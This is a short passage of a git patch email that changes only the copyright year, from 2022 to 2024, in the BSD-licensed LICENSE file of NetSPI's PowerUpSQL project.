-0600 Subject: [PATCH 60/60] Update LICENSE --- LICENSE | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/LICENSE b/LICENSE index aa9b85b..44d5389 100644 --- a/LICENSE +++ b/LICENSE @@ -2,7 +2,7 @@ PowerUpSQL is provided under the 3-clause BSD license below. ************************************************************* -Copyright (c) 2022, NetSPI +Copyright (c) 2024, NetSPI All rights reserved. Redistribution and use in source and binary forms, with or without